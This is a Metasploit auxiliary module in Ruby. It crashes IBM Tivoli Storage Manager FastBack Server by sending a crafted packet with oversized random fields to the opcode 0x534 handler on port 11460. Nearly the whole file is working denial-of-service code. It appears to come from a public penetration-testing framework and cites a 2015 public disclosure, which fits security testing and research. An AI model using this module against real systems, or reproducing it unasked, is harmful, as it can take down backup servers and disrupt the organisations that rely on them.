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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Dos
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "IBM Tivoli Storage Manager FastBack Server Opcode 0x534 Denial of Service",
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      'Description'    => %q{
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          This module exploits a denial of service condition present in IBM Tivoli Storage Manager
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          FastBack Server when dealing with packets triggering the opcode 0x534 handler.
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        },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Gianni Gnesa',                              # Public disclosure/Proof of Concept
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          'William Webb <william_webb[at]rapid7.com>', # Metasploit
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        ],
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      'References'     =>
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        [
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          ['EDB', '38979'],
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          ['OSVDB', '132307']
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        ],
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      'DisclosureDate' => '2015-12-15',
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    ))
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    register_options(
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      [
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        Opt::RPORT(11460)
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      ])
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  end
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  def tv_pkt(opcode, p1="", p2="", p3="")
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    buf = Rex::Text.rand_text_alpha(0x0C)
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    buf += [opcode].pack("V")
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    buf += [0x00].pack("V")
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    buf += [p1.length].pack("V")
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    buf += [p1.length].pack("V")
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    buf += [p2.length].pack("V")
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    buf += [p1.length + p2.length].pack("V")
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    buf += [p3.length].pack("V")
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    buf += Rex::Text.rand_text_alpha(0x08)
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    buf += p1
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    buf += p2
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    buf += p3
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    pkt = [buf.length].pack("N")
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    pkt << buf
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    return pkt
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  end
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  def run
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    target_opcode = 0x534
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    connect
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    print_status("Connected to: #{rhost} port: #{rport}")
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    print_status("Sending malicious packet")
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    p = tv_pkt(target_opcode,
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               "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % [Rex::Text.rand_text_alpha(0x200),0,0,0,0],
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               Rex::Text.rand_text_alpha(0x60),
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               Rex::Text.rand_text_alpha(0x60)
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              )
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    sock.put(p)
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    print_status("Packet sent!")
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  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => ex
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    print_error("Exploit failed: #{ex.class} #{ex.message}")
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    elog(ex)
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  ensure
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    disconnect
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  end
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end
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